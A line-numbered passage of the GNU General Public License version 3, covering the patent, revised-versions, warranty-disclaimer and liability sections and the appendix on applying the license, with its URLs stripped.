offering for 469 | sale, or importing the Program or any portion of it. 470 | 471 | 11. Patents. 472 | 473 | A "contributor" is a copyright holder who authorizes use under this 474 | License of the Program or a work on which the Program is based. The 475 | work thus licensed is called the contributor's "contributor version". 476 | 477 | A contributor's "essential patent claims" are all patent claims 478 | owned or controlled by the contributor, whether already acquired or 479 | hereafter acquired, that would be infringed by some manner, permitted 480 | by this License, of making, using, or selling its contributor version, 481 | but do not include claims that would be infringed only as a 482 | consequence of further modification of the contributor version. For 483 | purposes of this definition, "control" includes the right to grant 484 | patent sublicenses in a manner consistent with the requirements of 485 | this License. 486 | 487 | Each contributor grants you a non-exclusive, worldwide, royalty-free 488 | patent license under the contributor's essential patent claims, to 489 | make, use, sell, offer for sale, import and otherwise run, modify and 490 | propagate the contents of its contributor version. 491 | 492 | In the following three paragraphs, a "patent license" is any express 493 | agreement or commitment, however denominated, not to enforce a patent 494 | (such as an express permission to practice a patent or covenant not to 495 | sue for patent infringement). To "grant" such a patent license to a 496 | party means to make such an agreement or commitment not to enforce a 497 | patent against the party. 498 | 499 | If you convey a covered work, knowingly relying on a patent license, 500 | and the Corresponding Source of the work is not available for anyone 501 | to copy, free of charge and under the terms of this License, through a 502 | publicly available network server or other readily accessible means, 503 | then you must either (1) cause the Corresponding Source to be so 504 | available, or (2) arrange to deprive yourself of the benefit of the 505 | patent license for this particular work, or (3) arrange, in a manner 506 | consistent with the requirements of this License, to extend the patent 507 | license to downstream recipients. "Knowingly relying" means you have 508 | actual knowledge that, but for the patent license, your conveying the 509 | covered work in a country, or your recipient's use of the covered work 510 | in a country, would infringe one or more identifiable patents in that 511 | country that you have reason to believe are valid. 512 | 513 | If, pursuant to or in connection with a single transaction or 514 | arrangement, you convey, or propagate by procuring conveyance of, a 515 | covered work, and grant a patent license to some of the parties 516 | receiving the covered work authorizing them to use, propagate, modify 517 | or convey a specific copy of the covered work, then the patent license 518 | you grant is automatically extended to all recipients of the covered 519 | work and works based on it. 520 | 521 | A patent license is "discriminatory" if it does not include within 522 | the scope of its coverage, prohibits the exercise of, or is 523 | conditioned on the non-exercise of one or more of the rights that are 524 | specifically granted under this License. You may not convey a covered 525 | work if you are a party to an arrangement with a third party that is 526 | in the business of distributing software, under which you make payment 527 | to the third party based on the extent of your activity of conveying 528 | the work, and under which the third party grants, to any of the 529 | parties who would receive the covered work from you, a discriminatory 530 | patent license (a) in connection with copies of the covered work 531 | conveyed by you (or copies made from those copies), or (b) primarily 532 | for and in connection with specific products or compilations that 533 | contain the covered work, unless you entered into that arrangement, 534 | or that patent license was granted, prior to 28 March 2007. 535 | 536 | Nothing in this License shall be construed as excluding or limiting 537 | any implied license or other defenses to infringement that may 538 | otherwise be available to you under applicable patent law. 539 | 540 | 12. No Surrender of Others' Freedom. 541 | 542 | If conditions are imposed on you (whether by court order, agreement or 543 | otherwise) that contradict the conditions of this License, they do not 544 | excuse you from the conditions of this License. If you cannot convey a 545 | covered work so as to satisfy simultaneously your obligations under this 546 | License and any other pertinent obligations, then as a consequence you may 547 | not convey it at all. For example, if you agree to terms that obligate you 548 | to collect a royalty for further conveying from those to whom you convey 549 | the Program, the only way you could satisfy both those terms and this 550 | License would be to refrain entirely from conveying the Program. 551 | 552 | 13. Use with the GNU Affero General Public License. 553 | 554 | Notwithstanding any other provision of this License, you have 555 | permission to link or combine any covered work with a work licensed 556 | under version 3 of the GNU Affero General Public License into a single 557 | combined work, and to convey the resulting work. The terms of this 558 | License will continue to apply to the part which is the covered work, 559 | but the special requirements of the GNU Affero General Public License, 560 | section 13, concerning interaction through a network will apply to the 561 | combination as such. 562 | 563 | 14. Revised Versions of this License. 564 | 565 | The Free Software Foundation may publish revised and/or new versions of 566 | the GNU General Public License from time to time. Such new versions will 567 | be similar in spirit to the present version, but may differ in detail to 568 | address new problems or concerns. 569 | 570 | Each version is given a distinguishing version number. If the 571 | Program specifies that a certain numbered version of the GNU General 572 | Public License "or any later version" applies to it, you have the 573 | option of following the terms and conditions either of that numbered 574 | version or of any later version published by the Free Software 575 | Foundation. If the Program does not specify a version number of the 576 | GNU General Public License, you may choose any version ever published 577 | by the Free Software Foundation. 578 | 579 | If the Program specifies that a proxy can decide which future 580 | versions of the GNU General Public License can be used, that proxy's 581 | public statement of acceptance of a version permanently authorizes you 582 | to choose that version for the Program. 583 | 584 | Later license versions may give you additional or different 585 | permissions. However, no additional obligations are imposed on any 586 | author or copyright holder as a result of your choosing to follow a 587 | later version. 588 | 589 | 15. Disclaimer of Warranty. 590 | 591 | THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY 592 | APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT 593 | HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY 594 | OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, 595 | THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR 596 | PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM 597 | IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF 598 | ALL NECESSARY SERVICING, REPAIR OR CORRECTION. 599 | 600 | 16. Limitation of Liability. 601 | 602 | IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING 603 | WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS 604 | THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY 605 | GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE 606 | USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF 607 | DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD 608 | PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), 609 | EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF 610 | SUCH DAMAGES. 611 | 612 | 17. Interpretation of Sections 15 and 16. 613 | 614 | If the disclaimer of warranty and limitation of liability provided 615 | above cannot be given local legal effect according to their terms, 616 | reviewing courts shall apply local law that most closely approximates 617 | an absolute waiver of all civil liability in connection with the 618 | Program, unless a warranty or assumption of liability accompanies a 619 | copy of the Program in return for a fee. 620 | 621 | END OF TERMS AND CONDITIONS 622 | 623 | How to Apply These Terms to Your New Programs 624 | 625 | If you develop a new program, and you want it to be of the greatest 626 | possible use to the public, the best way to achieve this is to make it 627 | free software which everyone can redistribute and change under these terms. 628 | 629 | To do so, attach the following notices to the program. It is safest 630 | to attach them to the start of each source file to most effectively 631 | state the exclusion of warranty; and each file should have at least 632 | the "copyright" line and a pointer to where the full notice is found. 633 | 634 | 635 | Copyright (C) 636 | 637 | This program is free software: you can redistribute it and/or modify 638 | it under the terms of the GNU General Public License as published by 639 | the Free Software Foundation, either version 3 of the License, or 640 | (at your option) any later version. 641 | 642 | This program is distributed in the hope that it will be useful, 643 | but WITHOUT ANY WARRANTY; without even the implied warranty of 644 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 645 | GNU General Public License for more details. 646 | 647 | You should have received a copy of the GNU General Public License 648 | along with this program. If not, see . 649 | 650 | Also add information on how to contact you by electronic and paper mail. 651 | 652 | If the program does terminal interaction, make it output a short 653 | notice like this when it starts in an interactive mode: 654 | 655 | Copyright (C) 656 | This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. 657 | This is free software, and you are welcome to redistribute it 658 | under certain conditions; type `show c' for details. 659 | 660 | The hypothetical commands `show w' and `show c' should show the appropriate 661 | parts of the General Public License. Of course, your program's commands 662 | might be different; for a GUI interface, you would use an "about box". 663 | 664 | You should also get your employer (if you work as a programmer) or school, 665 | if any, to sign a "copyright disclaimer" for the program, if necessary. 666 | For more information on this, and how to apply and follow the GNU GPL, see 667 | . 668 | 669 | The GNU General Public License does not permit incorporating your program 670 | into proprietary programs. If your program is a subroutine library, you 671 | may consider it more useful to permit linking proprietary applications with 672 | the library. If this is what you want to do, use the GNU Lesser General 673 | Public License instead of this License. But first, please read 674 | . 675 | --------------------------------------------------------------------------------